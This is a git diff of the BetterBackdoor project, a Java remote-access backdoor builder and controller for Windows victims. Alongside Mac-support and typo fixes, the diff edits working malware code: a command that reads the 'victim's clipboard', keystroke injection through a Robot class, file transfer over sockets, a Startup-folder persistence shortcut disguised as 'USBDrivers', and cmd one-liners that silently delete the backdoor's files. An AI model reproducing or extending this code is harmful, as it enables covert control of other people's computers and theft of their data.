diff --git a/.classpath b/.classpath index 20b85cf..bd64f50 100644 --- a/.classpath +++ b/.classpath @@ -1,44 +1,44 @@ - + - + - - + + - + - - - + + + - - - - + + + + - - - - - + + + + + - - + + \ No newline at end of file diff --git a/.gitignore b/.gitignore index 92f6fb9..e804976 100644 --- a/.gitignore +++ b/.gitignore @@ -1,7 +1,7 @@ /target/ /.settings/ /.vscode/ -/*.jar /jre/ /backdoor/ .DS_Store +/*.jar diff --git a/README.md b/README.md index 756f4ad..498dd11 100644 --- a/README.md +++ b/README.md @@ -46,7 +46,7 @@ Once running, to control the backdoor you must return to BetterBackdoor and run - The computer used to control the backdoor must have their firewall deactivated and must run BetterBackdoor as 'sudo' (if run on Mac or Linux). ## Compatibility -BetterBackdoor is compatible with Windows and Linux, while the backdoor is only compatible with Windows. +BetterBackdoor is compatible with Windows, Mac, and Linux, while the backdoor is only compatible with Windows. ## Installation ``` @@ -57,12 +57,15 @@ git clone https://github.com/ThatcherDev/BetterBackdoor.git cd BetterBackdoor # build BetterBackdoor with Maven +# for Windows run +mvnw.cmd clean package + # for Linux run chmod +x mvnw ./mvnw clean package -# for Windows run -mvnw.cmd clean package +# for Mac run +sh mvnw clean package ``` ## Usage diff --git a/src/main/java/com/github/thatcherdev/betterbackdoor/BetterBackdoor.java b/src/main/java/com/github/thatcherdev/betterbackdoor/BetterBackdoor.java index 23fa036..3816775 100644 --- a/src/main/java/com/github/thatcherdev/betterbackdoor/BetterBackdoor.java +++ b/src/main/java/com/github/thatcherdev/betterbackdoor/BetterBackdoor.java @@ -32,7 +32,7 @@ public static void main(String[] args) { System.out.println( "Would you like to package the Java Runtime Environment from your computer with the backdoor\nso it can be run on computers without Java installed?(y/n):"); jre = Boolean.parseBoolean(getInput("yn")); - } else if (os.contains("Linux")) + } else if (os.contains("Linux") || os.contains("Mac")) System.out.println( "If you would like to package a Java Runtime Environment with the backdoor so it can be run on computers without Java,\n" + "create folder 'jre' in current directory with 'bin' and 'lib' folders from a Windows JRE distribution.\n"); @@ -45,7 +45,7 @@ public static void main(String[] args) { } catch (Exception e) { error("Could not create backdoor:\n" + e.getMessage()); } - System.out.println("Create!\n"); + System.out.println("Created!\n"); try { Thread.sleep(1000); } catch (InterruptedException e) { @@ -77,9 +77,6 @@ else if (type.equals("file") && !new File(ret).exists()) { } else if (type.equals("yn") && !(ret.equalsIgnoreCase("y") || ret.equalsIgnoreCase("n"))) { System.out.println("\nInvalid entry\nEnter 'y' or 'n':"); return getInput(type); - } else if (type.equals("drive") && !new File(ret + ":\\").exists()) { - System.out.println("\nDrive not found\nInsert a USB drive and enter it's drive letter:"); - return getInput(type); } else if (type.startsWith("op") && (!type.substring(2).contains(ret) || !(ret.length() == 1))) return getInput(type); else diff --git a/src/main/java/com/github/thatcherdev/betterbackdoor/Setup.java b/src/main/java/com/github/thatcherdev/betterbackdoor/Setup.java index 52e0def..91dad49 100644 --- a/src/main/java/com/github/thatcherdev/betterbackdoor/Setup.java +++ b/src/main/java/com/github/thatcherdev/betterbackdoor/Setup.java @@ -23,7 +23,8 @@ public static void create(boolean packageJre) throws IOException { new File("backdoor" + File.separator + "jre" + File.separator + "bin")); FileUtils.copyDirectory(new File(jrePath + File.separator + "lib"), new File("backdoor" + File.separator + "jre" + File.separator + "lib")); - } else if (BetterBackdoor.os.contains("Linux") && new File("jre").isDirectory()) + } else if ((BetterBackdoor.os.contains("Linux") || BetterBackdoor.os.contains("Mac")) + && new File("jre").isDirectory()) FileUtils.copyDirectory(new File("jre"), new File("backdoor" + File.separator + "jre")); FileUtils.copyDirectory(new File("scripts"), new File("backdoor" + File.separator + "scripts")); FileUtils.copyFile(new File("target" + File.separator + "run.jar"), diff --git a/src/main/java/com/github/thatcherdev/betterbackdoor/backdoor/HandleCommand.java b/src/main/java/com/github/thatcherdev/betterbackdoor/backdoor/HandleCommand.java index 0975ea9..ed10a65 100644 --- a/src/main/java/com/github/thatcherdev/betterbackdoor/backdoor/HandleCommand.java +++ b/src/main/java/com/github/thatcherdev/betterbackdoor/backdoor/HandleCommand.java @@ -22,7 +22,7 @@ public class HandleCommand { * response. {@link Backdoor.out} is then used to send response followed by a * token to signal end of response. * - * @param command command given to backdoor from server. + * @param command command given to backdoor from server */ public static void handle(String command) { String send = ""; @@ -95,7 +95,10 @@ public void run() { else if (command.equals("cb")) try { String cb = (String) Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor); - send = "Victim's clipboard:\n" + cb; + if (cb.isEmpty()) + send = "Nothing copied to victim's clipboard"; + else + send = "Victim's clipboard:\n" + cb; } catch (Exception e) { send = "An error occurred when trying to get victim's clipboard:\n" + e.getMessage(); } @@ -110,31 +113,17 @@ else if (command.startsWith("cat")) { } } else if (command.equals("remove")) { try { - if (new File("gathered").exists()) - FileUtils.forceDelete(new File("gathered")); - if (new File("jre").exists()) - FileUtils.forceDelete(new File("jre")); - if (new File("scripts").exists()) - FileUtils.forceDelete(new File("scripts")); - - if (new File("USBDrivers.vbs").exists()) - FileUtils.forceDelete(new File("USBDrivers.vbs")); if (new File("C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\USBDrivers.lnk") .exists()) FileUtils.forceDelete(new File("C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\USBDrivers.lnk")); if (new File("USBDrivers.jar").exists()) - Runtime.getRuntime().exec("cmd /c ping localhost -n 5 > nul && del /f USBDrivers.jar"); - - if (new File("install.bat").exists()) - FileUtils.forceDelete(new File("install.bat")); - if (new File("install.jar").exists()) - FileUtils.forceDelete(new File("install.jar")); - if (new File("run.bat").exists()) - FileUtils.forceDelete(new File("run.bat")); + Runtime.getRuntime().exec( + "cmd /c ping localhost -n 5 > nul && del /f /q USBDrivers.jar USBDrivers.vbs && rd /s /q gathered jre scripts && cd.. && rd /s /q USBDrivers"); if (new File("run.jar").exists()) - Runtime.getRuntime().exec("cmd /c ping localhost -n 5 > nul && del /f run.jar"); + Runtime.getRuntime().exec( + "cmd /c ping localhost -n 5 > nul && del /f /q run.jar run.bat install.jar install.bat && rd /s /q gathered jre scripts"); System.exit(0); } catch (Exception e) { send = "An error occurred when trying to remove files:\n" + e.getMessage(); diff --git a/src/main/java/com/github/thatcherdev/betterbackdoor/backend/DuckyScripts.java b/src/main/java/com/github/thatcherdev/betterbackdoor/backend/DuckyScripts.java index 70dec39..392efc8 100644 --- a/src/main/java/com/github/thatcherdev/betterbackdoor/backend/DuckyScripts.java +++ b/src/main/java/com/github/thatcherdev/betterbackdoor/backend/DuckyScripts.java @@ -9,7 +9,7 @@ public class DuckyScripts { - private static Robot r; + private static Robot robot; private static int defaultDelay; private static ArrayList regKeys = (ArrayList) "abcdefghijklmnopqrstuvwxyz`1234567890-=[]\\;',./ " .chars().mapToObj((i) -> Character.valueOf((char) i)).collect(Collectors.toList()); @@ -27,7 +27,7 @@ public class DuckyScripts { public static boolean run(String scriptName) { Scanner in = null; try { - r = new Robot(); + robot = new Robot(); in = new Scanner(new File("scripts\\" + scriptName)); while (in.hasNextLine()) { String line = in.nextLine(); @@ -103,15 +103,15 @@ else if (command.equals("STRING")) { type(args); } else if (command.equals("WINDOWS") || command.equals("SHIFT") || command.equals("CONTROL") || command.equals("ALT")) { - r.keyPress(KeyEvent.class.getField("VK_" + command).getInt(null)); + robot.keyPress(KeyEvent.class.getField("VK_" + command).getInt(null)); if (!args.isEmpty()) { - r.keyPress(KeyEvent.class.getField("VK_" + args.toUpperCase()).getInt(null)); - r.keyRelease(KeyEvent.class.getField("VK_" + args.toUpperCase()).getInt(null)); + robot.keyPress(KeyEvent.class.getField("VK_" + args.toUpperCase()).getInt(null)); + robot.keyRelease(KeyEvent.class.getField("VK_" + args.toUpperCase()).getInt(null)); } - r.keyRelease(KeyEvent.class.getField("VK_" + command).getInt(null)); + robot.keyRelease(KeyEvent.class.getField("VK_" + command).getInt(null)); } else if (!line.startsWith("REM")) { - r.keyPress(KeyEvent.class.getField("VK_" + command).getInt(null)); - r.keyRelease(KeyEvent.class.getField("VK_" + command).getInt(null)); + robot.keyPress(KeyEvent.class.getField("VK_" + command).getInt(null)); + robot.keyRelease(KeyEvent.class.getField("VK_" + command).getInt(null)); } Thread.sleep(defaultDelay); } @@ -124,13 +124,13 @@ else if (command.equals("STRING")) { private static void type(String toType) { for (char c : toType.toCharArray()) if (regKeys.indexOf(c) != -1) { - r.keyPress(KeyEvent.getExtendedKeyCodeForChar(c)); - r.keyRelease(KeyEvent.getExtendedKeyCodeForChar(c)); + robot.keyPress(KeyEvent.getExtendedKeyCodeForChar(c)); + robot.keyRelease(KeyEvent.getExtendedKeyCodeForChar(c)); } else { - r.keyPress(KeyEvent.VK_SHIFT); - r.keyPress(KeyEvent.getExtendedKeyCodeForChar(regKeys.get(shiftKeys.indexOf(c)))); - r.keyRelease(KeyEvent.getExtendedKeyCodeForChar(regKeys.get(shiftKeys.indexOf(c)))); - r.keyRelease(KeyEvent.VK_SHIFT); + robot.keyPress(KeyEvent.VK_SHIFT); + robot.keyPress(KeyEvent.getExtendedKeyCodeForChar(regKeys.get(shiftKeys.indexOf(c)))); + robot.keyRelease(KeyEvent.getExtendedKeyCodeForChar(regKeys.get(shiftKeys.indexOf(c)))); + robot.keyRelease(KeyEvent.VK_SHIFT); } } } diff --git a/src/main/java/com/github/thatcherdev/betterbackdoor/backend/FTP.java b/src/main/java/com/github/thatcherdev/betterbackdoor/backend/FTP.java index 21db829..788c1f0 100644 --- a/src/main/java/com/github/thatcherdev/betterbackdoor/backend/FTP.java +++ b/src/main/java/com/github/thatcherdev/betterbackdoor/backend/FTP.java @@ -66,6 +66,7 @@ else if (protocol.equals("rec")) rec(filePath, socketChannel); return true; } catch (Exception e) { + e.printStackTrace(); return false; } finally { try { @@ -90,7 +91,7 @@ private static void send(String filePath, SocketChannel socketChannel) throws IO while (fileChannel.read(buffer) > 0) { ((Buffer) buffer).flip(); socketChannel.write(buffer); - buffer.clear(); + ((Buffer) buffer).clear(); } file.close(); fileChannel.close(); @@ -110,7 +111,7 @@ private static void rec(String filePath, SocketChannel socketChannel) throws IOE while (socketChannel.read(buffer) > 0) { ((Buffer) buffer).flip(); fileChannel.write(buffer); - buffer.clear(); + ((Buffer) buffer).clear(); } file.close(); fileChannel.close(); diff --git a/src/main/java/com/github/thatcherdev/betterbackdoor/shell/Shell.java b/src/main/java/com/github/thatcherdev/betterbackdoor/shell/Shell.java index 8419cf4..1638116 100644 --- a/src/main/java/com/github/thatcherdev/betterbackdoor/shell/Shell.java +++ b/src/main/java/com/github/thatcherdev/betterbackdoor/shell/Shell.java @@ -33,7 +33,8 @@ public static void start() { HandleCommand.handle(command); } } catch (Exception e) { - if (e.getMessage().equals("String index out of range: -1")) + if (e.getMessage().equals("String index out of range: -1") + || e.getMessage().equals("begin 0, end -1, length 0")) BetterBackdoor.error("The victim's computer has disconnected"); else BetterBackdoor.error(e.getMessage());